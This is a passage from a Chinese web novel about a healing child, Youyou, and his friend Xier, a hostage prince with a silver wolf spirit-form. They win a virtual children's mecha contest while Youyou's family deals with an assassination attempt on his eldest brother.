往常这个时候,他已经跟希尔哥哥一起开始玩玩具了,他还能顺便偷吃一点希尔哥哥身上的病气。 可今天,却什么都做不了。 也不知道卢西恩叔叔有没有见到希尔哥哥。 希尔哥哥没有等到他,会不会很难过? 他会不会也以为,自己和他的家人一样,抛弃他了? 小幼崽越想越觉得难过,干脆把毛茸茸的脑袋埋在臂弯里。 江昭晏看着小幼崽孤零零的背影,心里也不好受。 她走上前,轻轻抚摸又又的头发:“又又乖,再等几天,等安全了就出去,好不好?” 话音未落,拜访的门铃却忽然响了。 她和江见微都同时愣住。 这时候,谁会来拜访? 江见微抬手召出光屏,拍摄出门口的画面。 卢西恩穿着笔挺的秘书官制服,他的身侧则站着一个银发紫眸的少年。 少年银发如瀑,仿佛其上流转着月光一般。 紫眸如同浸在冷泉中的宝石般,带着空灵的寒意,却又在抬头的瞬间,闪过一丝微光。 这是…… 江昭晏顿时认出了对方的身份,还没来得及开口。 就看到原本恹恹的小幼崽顿时跳了起来,兴奋地大喊:“是希尔哥哥!!” 第60章 莫管家打开门,又又便迫不及待地冲了出去。 “希尔哥哥!” 小幼崽的声音甜甜糯糯的,直直地扑向门边的希尔。 希尔冷不防被他撞了个满怀,清新的草木香气迎面扑来。 随即一只软乎乎的小手就握住了他的手。 希尔一怔,下意识回握过去。 小幼崽的指节也是肉肉的,暖暖的,似乎将他微凉的掌心都暖热了般。 “希尔哥哥,你快来,我带你去看我的宝藏……” 又又拉着希尔就往家里跑去。 绿眸亮亮的,但注意力全都在希尔身上,完全没有注意到后面还有一台悬浮车。 卢西恩甚至都来不及叫住他。 于是,等江砺走下悬浮车时,就只看到又又拉着希尔离开的背影。 被抛弃的老父亲:“……” 一旁的莫管家笑容不变:“元帅,卢西恩秘书官,里面请。” 江砺回过神,和卢西恩一同走了进去。 暖融融的光线落在前方两个孩子的背影上。 小幼崽蹦蹦跳跳的,栗色头发在光里泛着蜜糖般的光泽,像是一颗小太阳。 希尔侧着脸,银发柔顺地垂在肩上,紫眸在光照下似乎也浅了不少,仿佛带着几分温柔注视着又又。 就像是月亮追逐着太阳一般。 江砺不禁微微地蹙了一下眉头。 在两人前方,江昭晏和江见微也已经走了出来。 经过这一段时间的复健,江见微的身体已经渐渐恢复了正常,行动间完全看不出以前坐在轮椅上的样子。 又又看到他们,便欢快地挥着手道:“二姐!三哥!” 小幼崽只顾着叫人,没注意到脚下有一颗小石子。 他的脚刚巧踩到石子上,身体瞬间失去了平衡,整个人朝前栽去。 “又又!” 江昭晏和江砺都看到这一幕。 两人几乎是同时使用异能,又又前方的草地化作一条柔软的带子,而江砺则重组空气,迅速赶到又又身边,试图将他抱起来。 但有人比他们的异能更快。 希尔身侧的空气骤然泛起水波般的涟漪。 下一秒,一头通体银白的巨狼凭空出现,带着微凉的劲风稳稳地落在又又身上。 又又还没反应过来,就“啪”地摔了下去,但预料中的疼痛却并没有袭来,倒像是摔在了一团雪里。 小幼崽懵懵地眨了眨眼睛,下意识看过去,才发现自己趴在一头银色巨狼身上。 银狼体型庞大,银色毛发在阳光下,仿佛泛着绸缎般的光泽,触感也是冰凉光滑的。 一双和希尔一样的紫色眼眸正静静地注视着他,却全然没有狼的凶狠,反而还带着几分温和。 唯一美中不足的,大概就是这头银狼身上伤痕累累,看着有些骇人。 在这头银狼出现的瞬间,现场的几名大人都瞬间绷紧了神经,警惕地看向他们的方向。 手中的异能更是没有丝毫放松,只要银狼有丝毫异动,这些异能就会瞬间爆发在它身上。 可又又却毫无所觉。 他耸了耸鼻子,却在银狼身上,闻到了和希尔哥哥身上同样的香气。 小幼崽瞬间睁大了眼睛。 银狼身上的病气浓重,几乎要将它淹没一般。 又又抬手抓住一点病气,吞进肚子里。 果然,是一样的味道! 小幼崽快乐地眯起眼睛,整个人都埋了进去,病气在接触他的瞬间,便会被吸纳进他的身体里。 银狼身上的一条伤痕不知不觉开始愈合。 银狼似乎感觉到了什么,喉咙里发出舒服的呼噜声,尾巴尖也跟着在身后扫了扫。 众人:“……” 银狼在小幼崽的身旁,仿佛完全没有脾气一般。 就连又又揪着它的毛发,也毫不在意。 要不是江砺在战场上见过无数凶悍的精神体,可能真把这当成无害的小动物了。 希尔看着又又和银狼玩得不亦乐乎,银睫微微地颤了颤,眸底似乎浮现出一丝失落。 而就在这时,又又却伸手拉了拉他的袖子,笑眯眯地说道:“希尔哥哥,狼狼的味道跟你一样呢!” 希尔抬起头,缓缓开口:“喜……喜欢吗?” “喜欢!”小幼崽连连点头,声音又甜又糯,“喜欢狼狼,但最喜欢希尔哥哥!” 希尔眸底的失落瞬间消失,紫眸微微亮起,握紧了又又的手:“我也,喜欢!” 看又又瞬间就哄好了希尔,江昭晏不禁沉默了一下。 为什么会忽然觉得自家小幼崽像个渣男? 她晃了晃脑袋,把自己这些奇怪的念头给晃出去,看向江砺,迟疑了片刻,才道:“父亲。” 江砺点了点头,随即又有些生硬地解释道:“卢西恩说,希尔殿下想见又又,他到底是帝国质子,我怕会有什么问题,就顺道过来了,还有裴煌的事情,也多亏了又又……” 他这借口蹩脚得很。 但江昭晏也没有戳穿他,只是干巴巴道:“哦,好。” 双方又陷入了沉默中。 直到房子里传来又又的喊声:“二姐,三哥,爸爸,卢西恩叔叔……你们怎么那么慢呀!” 众人这才回过神般,一同走进了房子里。 又又此时正骑在银狼的脖子上,还不忘紧紧地牵着希尔,大摇大摆地走在屋子中间,带他们去看自己的收藏。 “这就是铃铛水母哦!” 小幼崽从银狼背上滑下来,拉着希尔凑到鱼缸前。 两颗小脑袋挨在一起,随着铃铛水母的移动,也跟着左右移动。 旁边的银狼静静地守在一旁,蓬松的狼尾圈着小幼崽的腰,以免他一激动又摔倒。 江昭晏看着银狼这尽职尽责的模样,不禁有点好笑。 她正想笑,却发现卢西恩神色微沉地看着银狼,不由得问道:“怎么了?” 卢西恩迟疑了一下,还是说道:“今天在星穹回廊的时候,有几个孩子想要教训希尔殿下,被这头银狼给吓走了……” 卢西恩并没有压低声音。 正在看铃铛水母的希尔和又又都听见了。 希尔心脏不由得一紧,下意识看向又又。 却见小幼崽的眉毛紧紧地蹙起来。 希尔以为他是生气了。 他想解释,但张了张嘴,却说不出什么。 毕竟,正如那些联邦的孩子说的,又又是元帅的孩子,天生就要跟联邦站在一起的。 之前又又只是不知道联邦和帝国的仇怨,如今知道了,自然不会再跟他这个被帝国抛弃的质子一起玩。 希尔眸色渐渐黯淡。 掌心软乎乎的小手还在散发着热度。 他知道自己应该要放手,却又舍不得,反而攥得更紧。 但下一秒,又又却担忧地抬头看着他:“希尔哥哥,你没事吧?” 希尔愣住了。 又又抿紧嘴唇,气鼓鼓地说道:“他们太过分了,好好的为什么要欺负人呀!希尔哥哥又没有惹他们!” 他一边说着,一边还安抚地抱了抱希尔,“希尔哥哥,你别难过,下次谁欺负你,我就去帮你教训他。” 说着,他还挥了挥肉乎乎的小拳头,显示自己很厉害。 希尔的心脏像是被温水浸泡过。 他也回抱住又又,低低地“嗯”了一声。 一旁的江砺等人自然也听到了。 他们都知道又又的性格,有点无奈,又有点心疼。 小幼崽性格善良又纯粹,自有一套朴素的价值观。 可他们也清楚,联邦与帝国的仇怨刻在骨血里,民众的敌视不是几句和平就能消弭的。 只是…… 看着两个孩子很快又忘掉这些不开心的事情,叽叽咕咕地凑在一起说话。 几位家长都轻叹了口气,都有了不约而同的默契。 算了。 孩子还小,先让他做个没心没肺的快乐崽吧。 又又有些心疼地看着希尔。 难怪希尔哥哥总是待在那个角落,原来是外面对他这么不友好。 想到自己只是被关在家里一两天,就这么难受。 希尔哥哥却不知道已经忍受了多久了。 又又下定决心要做点什么,帮助希尔哥哥。 小幼崽紧紧地皱起眉头。 忽然脑袋上灯泡一亮,有办法了! 他牵着希尔的手,朝哥哥姐姐的方向走去:“希尔哥哥,你跟我来,我有办法了!” 希尔被他拉着穿过客厅,还有点懵。 他不知道又又带他去做什么,但又又牵着他,他就鬼使神差地跟着走了。 又又把希尔拉到了江见微面前。 然后,小幼崽就趴在哥哥的腿上,眨巴着眼睛:“三哥,你能不能帮我一个小忙呀?” 江见微挑了挑眉:“什么忙?” “我想带希尔哥哥去星网玩。”又又晃着他的胳膊,绿眸满是期待,“你能给他做一个面具吗?就像你之前那样子!” 只要有面具,那些人看不到希尔哥哥的脸,就不会对他有恶意了吧! 希尔怔怔地看着又又。 他其实并不介意出不出去,对他来说,在这个世界的任何地方都没什么区别。 可是,小幼崽为了他这样费心思,还是让他心里暖暖的。 对于江见微来说,这并不算难。 唯一的问题是—— 江见微冷哼一声,故意道:“今天早上也不知道是谁,我叫他去星网玩,还一脸不乐意的,说一点不好玩的!” 小幼崽眨了眨眼睛:“谁说的!肯定不是又又说的,跟哥哥去星网玩,最快乐了!” 江见微噎住:“……” 倒是旁边的江昭晏笑出声来:“行了吧你,这种小事都吃醋!” 江见微被姐姐戳穿,有点尴尬。 最后也只能恨恨地捏了捏小幼崽的脸蛋,便带着他们去楼上的全息室。 里面已经摆着几台全新的全息舱。 又又教希尔躺下去,又安慰他:“希尔哥哥,不要怕,进去你就能看见我了!” 希尔点点头,看着小幼崽在另外一台全息舱躺下,才按他说的闭上了眼睛。 一道白光扫过他的身体,让他全身的肌肉瞬间绷紧,身旁的空气波动,银狼险些就要跳出来。 但他很快又放松下来,直到一阵失重感之后,意识下沉。 当他再次睁开眼睛时,却到了一间蛋壳小鸡的痛屋。 又又就站在屋子中间,见他出现,眼前一亮:“原来三哥给你改成了这样!” 他牵着希尔来到镜子前。 希尔也终于看到了自己的新形象。 江见微给希尔设置了一个假身份,却并没有给他做面具,而是稍微改变了一点他的容貌。 希尔怔怔地看着自己的新形象。 他的身高变矮了,脸也幼态了许多。 银发短了一些,尤其是瞳色,完全变成了和又又一模一样的绿色。 和又又站在一起,甚至有点像是兄弟。 又又得意道:“这都是我让三哥给改的!好看吧!” 希尔抬起手,摸着那双绿色的眼睛,低声道:“嗯。” “好了好了,我们先去玩吧!” 又又已经等不及了,带着他熟门熟路地去了儿童区。 然而一进到儿童区,迎面就是一片热闹的景象。 又又愣了一下,找人打听,才知道原来是一家机甲公司举办的儿童机甲大赛。 小幼崽眼前顿时一亮。 自从在机甲乐园玩过之后,小幼崽就爱上了开机甲。 后来他每次来儿童区,哥哥姐姐都会陪他去玩一会机甲,虽然不像第一次那样打破纪录,拿到徽章,但他还是玩得很快乐。 “希尔哥哥!”又又猛地转过头,兴致勃勃道:“我们也去参加吧!” 希尔怔了一下。 他在帝国虽然说是皇子,但过得并不好。 他没有上过星网,也没有开过机甲。 又又见他犹豫,以为他不喜欢,便道:“你不喜欢,我们就去玩别的游戏吧!” 除了开机甲,儿童区还有好多好玩的游戏呢! 但却被希尔拦住了:“没关系。” 他不会玩,但他可以看又又玩。 又又立刻就明白了他的意思,又笑起来:“好!说不定你看我开完,就会喜欢上开机甲的!” 机甲比赛的规则和机甲乐园差不多,十人一组参加淘汰赛,每一组晋级一人,凑够十个晋级者再参加下一轮,一共三轮,决出冠军。 以此不断循环,最后所有的冠军都能获得奖金和奖杯,还有去参观机甲公司的机会。 又又摩拳擦掌:“那我一会就去比赛了,希尔哥哥要给我加油哦!” 希尔:“好!” 小幼崽便雄赳赳气昂昂地去报名了。 比起第一次开机甲的笨拙,现在的又又已经进步很多了。 他目光专注,灵活地避开所有的障碍和敌人的攻击,虽然不主动攻击别人,却凭借苟,顺利拿下第一轮。 “希尔哥哥!我赢了!”又又兴奋地冲出来,拉着希尔蹦蹦跳跳,“你看到了吗?我是不是超级厉害!” 希尔任由他拉着自己,唇角不由自主地弯起:“嗯,又又棒!” 又又却瞪大了眼睛:“希尔哥哥,你笑了诶!” 希尔微怔。 他抬手轻触自己的嘴,果然发现唇角微微上翘。 “希尔哥哥,你笑起来真好看!”小幼崽目光灼灼,肯定地点点头,“果然还是要出来玩才对!” 希尔垂下眼眸。 其实,并不是出来玩,而是因为跟又又一起玩。 很快就是又又的第二轮。 又又照旧用自己熟悉的苟字诀,但这场运气却差很多。 他刚起飞,就被三架机甲团团围住,在他们密集的攻击之下,又又躲得满头大汗,但最终还是无奈失败。 小幼崽蔫头蔫脑地走出驾驶舱,走到希尔旁边。 他原本想要拉着希尔去玩别的,结果却没有拉动。 “希尔哥哥?” 又又看着希尔冷然的表情,有些疑惑地问道。 此时,屏幕上正在进行刚刚的回放,希尔指着那几架围攻他的机甲:“他们,欺负你。” 希尔虽然不会开机甲,但他的战斗直觉却很敏锐。 他能感觉到,那几架机甲是合作的,甚至他们还故意放缓攻击节奏,戏弄又又。 此时,第二轮也结束了。 拿下冠军的,就是刚刚围攻又又的一人。 他在其他两人的簇拥下走过来,对着又又,有些得意道:“拿了机甲乐园的徽章也不过如此嘛,还不是被我们打下来了!” 又又愣住。 他们指的是他第一次在机甲乐园玩的时候,拿到的那枚破纪录的徽章。 原来希尔哥哥说得没错,他们真的是认识的。 是故意先解决又又,然后帮助那个男孩拿到冠军。 其实输赢又又并不是很在意。 但他们这刻薄的态度,却让他很生气。 他本想再参加一次,狠狠报复回去,却得知,这个比赛每个人都只能参加一次。 小幼崽简直快气死了。 而一旁的希尔,却忽然走向报名处:“报名。” 又又愣住了,直到希尔报完名,他才急忙问道:“希尔哥哥,你不是不会开机甲吗?” 希尔垂眸,缓缓道:“我想,试试。” 听见他这么说,又又还以为他是对机甲感兴趣了。 刚刚那点郁闷顿时抛到九霄云外,立刻带着希尔去选机甲,又叽叽喳喳地教他怎么开。 等到比赛开始,小幼崽才依依不舍地离开,朝着希尔握起拳头:“希尔哥哥加油!” 希尔走进驾驶舱,有些生疏地按又又说的操作着。 比赛开始,又又期待地站在外面看着,却发现希尔哥哥刚起飞就差点撞墙。 小幼崽倒吸一口凉气。 看着那架机甲跌跌撞撞的,好几次都差点被击落,玩得那叫一个险象环生。 那几个男孩还在等待第三轮,看到希尔的表现,都忍不住哈哈大笑。 “哈哈哈好菜啊!” “这是在开机甲吗?还是去玩碰碰车吧!” 又又既担心希尔,又生气这些人的嘲笑,正要反驳。 身后却忽然传来一个清脆的声音:“他一直在进步,连这都看不出来,你们不止是菜,还蠢。” 几人都朝着发声处看去,就看到一个黑发黑瞳的女孩。 她身上穿着星网的默认服装,黑发也只是被一个简单的皮筋束起来。 除此之外就没有一点装饰。 几个男孩被她骂得脸色涨红。 “你懂个屁!” “还穿着星网白板衣服,一看就是个穷鬼!” 话音刚落,就听见旁边传来几声击落的音效。 他们看过去,发现原本还生疏摇晃的机甲,如今已经渐渐找到了节奏。 银白的机甲像是猎鹰般俯冲,原本瞄准它的机甲却好似慌了,几次发射都打偏了。 最后被银白机甲精准锁定能源核心,毫不犹豫地击落。 几个男孩都愣住了。 旁边传来女孩一声轻嗤:“白痴。” 几人气得不行,却又无话可说,只能灰溜溜地离开了。 又又眼睛亮亮地看着女孩,她把他想骂的话都骂出来了,好爽! 女孩被他的目光看得有点不自在,轻咳一声:“我只是看不惯他们几个合伙欺负人,你以后如果要参加这种比赛,记得把徽章隐藏起来。” 又又按她教的,果然把徽章隐藏了起来,他甜甜地朝对方道谢:“谢谢你。” “不用谢。”女孩说完,就甩着马尾离开了。 又又看着她的背影。 好酷哦! 跟姐姐一样酷! 这时,希尔从驾驶舱走出来,又又立刻转头迎上去,开始夸夸:“希尔哥哥你好厉害!” 希尔的紫眸里还有未散的凌厉,却在看见又又的瞬间,变得温和起来。 不过他的战斗风格却一点都不温和。 和又又的苟字诀不同,他的进攻性非常强。 明明平常总是慢半拍的样子,但在战场上,却是果断狠厉,如同一只嗅觉灵敏的狼。 第二轮他赢得势如破竹,对方毫无还手之力。 等到他从驾驶舱出来,又又像个小尾巴似的,围在他身边:“希尔哥哥!你开机甲好有天赋!超厉害的!” 希尔被他夸得都有些招架不住,但唇角却忍不住又翘了一下。 但很快,他的目光就落在了那三个欺负又又的男孩身上,那三人被他的目光一刺,却又露出挑衅的表情,抬手在脖子上横了一下。 希尔眯了眯眼睛。 但这时,小幼崽却拉着他看向那个奖杯:“希尔哥哥,你看那个冠军奖杯,好帅啊!” 奖杯的形状是机甲公司最新机型的模样,的确非常酷帅。 希尔顿了顿,问他:“想要?” 小幼崽却疑惑道:“希尔哥哥不想要吗?” 希尔的银睫颤了颤,遮住了眸子。 “想要。” 只要又又想要。 他就一定会得到。《 》 60-70 第61章 第三轮的比赛很快就开始。 相比于前两轮,第三轮的比赛正式很多。 主持人将所有参赛的小选手都请上台,甚至还有专门面对他们每个人的镜头。 参加比赛的人,除了希尔,那个男孩。 又又还看到了一个熟悉的身影,就是之前帮他说话的,穿着白板服装的女孩。 然而,不等又又多想,这十名选手依次坐进了驾驶舱。 又又立刻便将其他事都抛在脑后,大声给希尔加油:“希尔哥哥!加油!!” 比赛刚刚开始,其他机甲还在小心试探的时候,一架银白色的机甲却如划破天际的闪电,毫不犹豫地发起了攻击。 他甚至没有使用更耗能量的激光炮,而是用机甲自带的武器冲入人群。 观赛的人群骤然响起一阵惊呼:“!!!” 这突如其来的凶悍攻击,也让所有孩子都懵了。 他们就像一群受惊的鱼群,面对着凶悍的大白鲨,被吓得到处乱窜。 只是很快,他们就发现,那台银白机甲全程都只攻击一个人。 红色机甲内,之前欺负又又的男孩,此刻冷汗直冒:“为、为什么只打我啊!” 明明他都换了机甲了,这人怎么还能追着他杀啊! 而且,希尔还不像之前那样一击必杀,反倒像是猫捉耗子一般,不断戏弄红色机甲。 完全将他们之前对又又做过的事情,全部都返还到了他身上。 “啧啧,这孩子打得好凶残啊……” “可不是吗?我一个人大人看着都害怕!” 但又又却一点都不害怕。 他眼睛骤然亮起,又激动又解气。 他知道,希尔哥哥这是在帮他报仇呢! 小幼崽努力地挥舞着小拳头:“希尔哥哥!揍他!” 明明隔着驾驶舱,希尔应该听不到外面任何声音的。 可是,屏幕上的他,唇角却是微微地翘了起来。 最终,那个男孩实在是受不了了,自己按下了认输按钮。 当驾驶舱的舱门打开,男孩狼狈地走出来。 一出来,他就再也忍不住,“哇”的一声哭着跑走了。 又又一点都不同情他,反而觉得身心舒畅,更大声地喊道:“希尔哥哥!冠军!!冲鸭!!” 又甜又糯吸引了不少观众。 不少人看着这个糯米团子似的小幼崽,都不禁露出笑容。 小幼崽却浑然不觉被人围观,目光灼灼地盯着屏幕上的银白机甲。 希尔仿佛天生的战士,即便是在一场儿童比赛中,他的飞行路线也带着未经打磨的灵性。 几次攻击更是角度刁钻,仿佛预判了对手的动作,不费吹灰之力就解决了好几个对手。 很快,赛场上就只剩下他和一架黑色的机甲。 黑色机甲的驾驶员经验更丰富,而且很有韧性。 即便被希尔压制,依然顽强周旋。 两人打得那叫一个惊险刺激。 观众们都忘记了这只是一场儿童比赛,看得目不转睛。 又又更是几乎屏住了呼吸。 最终,在一番缠斗之后,还是希尔略胜一筹,用一个假动作骗过了黑色机甲,赢得了胜利。 小幼崽长舒一口气,兴奋地跳起来:“希尔哥哥赢了!!!” 驾驶舱开启,希尔刚走出来,就感觉到一团栗色的火焰撞到自己怀里。 “希尔哥哥最厉害了!!” 小幼崽脸颊通红,看起来比自己得了冠军还要高兴。 希尔抿起嘴唇,耳后的皮肤却悄然泛红。 他站上领奖台,主持人将奖杯颁给他,又将奖金打入他的账户,还递给他一张参观机甲公司的邀请函。 以希尔的身份,要去参观机甲公司,肯定会被人认出来的,所以两人并不太在意这张邀请函。 奖杯虽然是虚拟的,无法被带出星网,却让两人格外稀罕。 “希尔哥哥,你那一下真的好帅呀……” 又又叽叽喳喳地说着希尔刚刚的比赛细节。 希尔的紫眸也微微亮起,多了几分生气。 这些年,他一直都如行尸走肉般活着。 但驾驶着机甲在天空翱翔的感觉,像是挣脱了所有束缚,让他第一次尝到了自由的滋味。 还有刚刚那一场酣畅淋漓的战斗,更让他感受到了难得的畅快。 不过他并没有继续去玩机甲,而是跟着又又穿过一条小巷,去玩其他的游戏。 就在这时,一阵压抑的哭声从角落传来。 两人下意识顺着声音看去。 只见墙角处,有个女孩正抱着膝盖蜷缩着,肩膀一抽一抽的。 看到她,又又顿时睁大了眼睛:“是……是你!” 女孩哭声一顿。 她抬起头,露出一双哭得红肿的黑眸,睫毛上甚至还挂着泪珠。 看到是又又他们,她慌忙用手背擦掉眼泪,神情倔强地抿着唇。 “你……” 又又刚想开口,女孩的身影却忽然闪烁起来。 下一秒,她整个人瞬间消失在了空气中,竟然是直接下线了。 希尔看着又又:“……认识?” “嗯嗯。”又又连忙将他比赛时,这个女孩帮自己说话的事情告诉他。 “她是因为输了,所以哭吗?”又又声音有点闷闷的。 那个男孩被希尔哥哥打败,他只觉得开心。 可看到帮助过自己的人因为失败哭泣,他心里却很不是滋味。 但希尔哥哥是凭借能力打败她的,冠军就应该是他的。 小幼崽思来想去,最后得出一个结论:“要是有两个冠军就好了!” 小幼崽的情绪来得快,去得也快。 想到解决方法后,顿时就不郁闷了。 等到两人痛快地玩了一下午,依依不舍退出星网时,才发现天色竟然都暗了下来。 小幼崽立刻便意识到自己今天玩得太久了。 他顿时有点心虚,又有点疑惑:“姐姐今天居然没有来叫我,好奇怪……” 他牵着希尔朝楼下走去。 谁知刚到了楼梯口,就闻到了一股血腥味。 又又脸色顿时一变,松开希尔的手就往楼下冲。 看着小幼崽跌跌撞撞的样子,希尔连忙唤出银狼,守在他的身旁,免得他摔倒在楼梯上。 此时,客厅的气氛极为凝重。 江从谦半靠在椅子上,眉头紧锁,脸色苍白,额间泛起细密的汗珠。 他的手臂上有一道深可见骨的伤口,正是散发着血腥味的源头。 江见微满脸怒容,拿着光脑不知道在做什么,而江昭晏则半蹲在他身边,用小型治疗仪给他治疗。 “大哥!!” 又又惊慌失措地跑过去,结果差点被地毯给绊倒,还好旁边的银狼及时接住了他。 小幼崽从银狼身上爬起来,手忙脚乱地将手掌覆在江从谦的伤口上。 原本狰狞的伤口以肉眼可见的速度愈合,转眼间,便只剩下一道淡粉色的疤痕。 “大哥,你怎么样?还痛不痛?”小幼崽抓着他的手臂,声音都带着一点哭腔。 江从谦的伤口虽然愈合,但脸色还是苍白的,嘴唇也没什么血色。 可看着小幼崽担心的神情,他却温声安抚道:“哥哥不痛,又又不是给哥哥治好了吗?” 小幼崽抿着唇,要哭不哭的:“可是哥哥为什么会受伤啊?” 江从谦无奈,只能说出事情经过。 他是今天回来的路上,遭遇了袭击。 不过,他自从决定以身犯险,吸引幕后黑手的注意后,便一直很注意安全。 再加上还有江砺派来的近卫保护,所以只是受了一点轻伤。 “这个时间点,难道是跟裴军团长这件事有关?”江昭晏猜测道,“莫非,他们怀疑是大哥故意设局算计他们,让他们功亏一篑,所以报复大哥?” 又又脸色微白:“是……是我害了大哥吗?” “胡说什么。”江从谦无奈地揉了揉小幼崽的头发,将他抱在怀里,“哥哥受伤跟你没有关系,再说了,哥哥现在不是好好的吗?” “是啊,又又。”江昭晏拍拍自己的笨嘴,也跟着安慰道,“宝宝做的都是好事,害人的是那些坏人,就算你没有给裴军团长治疗,他们也会找别的理由做坏事的。” 小幼崽这才把脸埋进江从谦的颈窝,闷闷地嗯了一声。 而这时,江砺神色冷厉道:“他们或许并不仅是报复,而是试探。” 江从谦和江昭晏都是一怔。 江砺早就猜测,裴煌的事情之后,对方肯定不会善罢甘休。 所以他早早就派人盯着第五军团和徐行知背后的人。 而正是在这个过程中,他发现,第五军团和徐行知都只是明面上的傀儡,裴煌的线索是由别人透露给他们的。 这个行事手段,和之前第七军团以及蒂奢星区的那个幕后黑手很像。 江从谦很快便意识到了什么:“他在怀疑我有治愈异能?” “对方应该还不确定。”江砺沉声道,“但他赌性极重,应当是在赌。” 江从谦还想说什么。 江砺却已经按住了他的肩膀:“我之前已经查出一些端倪了,原本是打算等军部述职过后,再引蛇出洞,一网打尽,可他们竟然敢动你……” 江砺眼底翻涌着压制的怒火,“既然他们给脸不要脸,那就早点让他们知道,动我江砺的儿子,要付出什么代价!” 江从谦一怔,竟是第一次从父亲口中听到这样的话。 “最近你好好养伤。”江砺收回手,缓缓道,“这事交给我,不会让你们再沾染上半点危险。” 江从谦皱紧眉头,想要反驳:“我没事,这点伤……” “我到底是你们的父亲。”江砺的声音有些沉痛,“从前,我做得不够好,但现在,我一定会保护好你们。” 江从谦的话咽了下去,没有再争辩。 江砺和卢西恩要回去,希尔也只能跟着回去。 小幼崽下意识抓住他的袖子:“希尔哥哥……” 希尔感受到他的不舍,抿唇低声道:“……明天。” 又又睁大眼睛:“希尔哥哥明天还可以来吗?” 希尔点点头。 卢西恩:“……” 所以你们到底是怎么沟通的啊!! 知道希尔明天还过来,小幼崽立刻就松开了他的袖子,高高兴兴地跟他告别:“希尔哥哥再见!” 直到他们的身影消失,小幼崽才又重新回到哥哥姐姐身边。 江从谦原本还以为,小幼崽有了希尔哥哥,就忘记他这个亲哥哥了。 然而这点醋意还没升起来,就被怀里乱拱的小幼崽给弄没了。 “大哥抱!”小幼崽紧紧地依偎在他怀里。 因为江从谦受伤的缘故,又又今天格外黏他。 连眼睛都睁不开了,还揪着哥哥的衣领不放。 最后,江从谦好不容易把人哄睡了,才把人放回房间。 他长舒一口气,然而刚走出又又的房间,就被江昭晏和江见微给堵住了。 江见微手里拿着一块光屏,上面正是江从谦受伤的全过程。 监控有些远,但却很清晰。 江从谦说得轻描淡写,但其实当时的情况十分危险,差一点,轻伤就变重伤了。 江从谦顿时哑然,也不知道他是从哪里搞来的监控。 江见微语气硬邦邦的:“你就知道教训我们,自己还不是以身犯险,不知道照顾自己。” 江昭晏也跟着帮腔:“是啊,有什么事我们一起商量,你不要逞强,总是一个人扛着……算了,说那么多也没用,反正之后你们要是出去,都得叫上我,我看谁能在我眼皮子底下伤人!” 江从谦愣住了。 他习惯性地照顾弟弟妹妹,习惯性地承担所有责任。 但不知道什么时候,他的弟弟妹妹也成长到可以保护他了。 接下来一段时间,中央星系看似风平浪静,实则暗流汹涌。 江砺的剑尖直指世家命脉。 如果说,之前的军部整顿只是敲山震虎,这次他却是动了真格。 世家被打痛了,顿时老实了许多。 这段时间,整个中央星系的世家都变得安静如鸡。 不过,这跟每天在家里陪大哥养伤的小幼崽没什么关系。 当然,能让小幼崽乖乖待在家里,可不止是江从谦的功劳,还有每天准时来家里报道的希尔。 两小只每天都好像有说不完的话,玩得十分开心。 被又又带着,希尔身上那股生人勿进的冷淡感都少了很多,那双漂亮的紫眸中,也渐渐有了光彩。 但他只会在又又面前展现这一面,一旦回到外事区,他便又会恢复到以往的模样。 甚至,他在外人面前,都不会把银狼放出来了。 希尔看着正趴在银狼背上玩耍的小幼崽。 银狼轻盈地在草地上奔跑着,原本身上累累的伤痕,如今已经消失大半了。 银狼越发精神,他的身体也越发轻松。 他不再需要调动所有的精神力来压制精神体上的病痛,而是可以像个正常孩子那样享受生活。 而这一切,都是因为又又…… 希尔的紫眸中情绪复杂,但落在又又身上时,又变得温软。 这时,玩得满头大汗的又又从狼身上跳下来,急急忙忙道:“希尔哥哥!快到时间了!我们赶紧上星网!” 希尔深吸一口气,银狼的身体瞬间消失。 他牵着又又的手,两人匆匆忙忙进入全息室。 上了星网后,两人又迅速赶到儿童区。 此时里面已经很热闹了。 原本童话般的世界,天空上却多了许多架儿童机甲。 这正是儿童区新开放的机甲幻想城。 这里面不止有之前机甲乐园里的机甲对战,还有改装区和机甲主题的美食区。 又又拽着希尔的手,就往美食区跑:“快点快点!希尔哥哥!我们去吃机甲冰激凌,三哥说这个可火了,去晚了就要排队了!” 希尔跟上他的步子,不动声色地将他往自己身边拉了拉,护着他不被其他人撞到。 两人还算及时,并没有排很久,就到了。 又又看菜单看得眼花缭乱,什么都想试试。 最终两人拿着好几个冰激凌,艰难地挤出了人群。 又又吃了一口自己的,又眼巴巴地看着希尔。 希尔毫不犹豫地把自己手里的冰激凌递到他面前。 “这是你的冰激凌,你先吃!”小幼崽虽然很想尝,但还是坚持公平。 希尔垂下头,小小地咬了一口。 清爽又带着奶香的味道传导到了他的脑海里。 原来,这就是冰激凌的味道。 和……又又身上一样。 但他很快便回过神,将那个被咬了一口的冰激凌放在又又面前:“又又吃。” “真的可以吗?那我就不客气咯!”小幼崽眨巴着眼睛看着希尔,但嘴巴却已经“啊呜”一口咬了下去。 “好吃!”小幼崽幸福地眯起眼睛,“希尔哥哥,下次我带你去吃真正的冰激凌!” 希尔看着他,紫眸微弯:“好。” 两人吃着冰激凌,溜溜达达地往改装区走去。 这里的改装区是模仿真正的机甲改装区建造的,却是迷你很多。 不过说是改装,其实更像是拼装。 每个工作台前,都站满了小朋友,拿着手里各色的零件,试图拼成一个完整的机甲。 小朋友们想象力丰富,这些机甲长成什么样的都有。 又又眼睛顿时亮起来:“那我是不是可以拼一个小绿出来!” 对于又又的愿望,希尔自然没有什么异议。 “去拼小绿咯!” 小幼崽斗志十足地买了所有零件。 可是理想很丰满,现实却很骨感。 两人实在是高估了他们的动手能力。 希尔虽然开机甲的能力很强,但拼机甲的能力却差远了。 两人拼了半天,倒是好不容易拼成了一个完整的机甲,但这个机甲一动就摔倒,完全不听指挥。 就在这时,又又忽然听见有人说,可以找人帮忙拼。 小幼崽立刻放弃了自己努力,抱着半成品小绿,就和希尔一同找了过去。 这边有好几个摊子,大部分都是成年人,只有一个小小的、瘦弱的身影坐在角落,穿着白板衣服,黑色的马尾垂在脑后。 又又立刻拉住希尔,惊喜道:“希尔哥哥,是她!” 正是之前和希尔一起参加机甲比赛,输掉的那个女孩。 又又立刻拉着希尔跑过去。 女孩正低着头修复一个粉色的机甲。 她的手指翻飞,极为灵活,原本复杂的零件,在她手里却像是被施了魔法一般,乖顺地被放入应该的位置。 原本歪歪扭扭的粉色机甲,很快就被修复好了。 女孩松了口气,活动了一下手指,感受到身前的人影,公式化地报价:“纯拼100星币,修复300星币……” 话音未落,她的目光便撞上了又又亮晶晶的绿眸,剩下的话便被卡在了喉咙里。 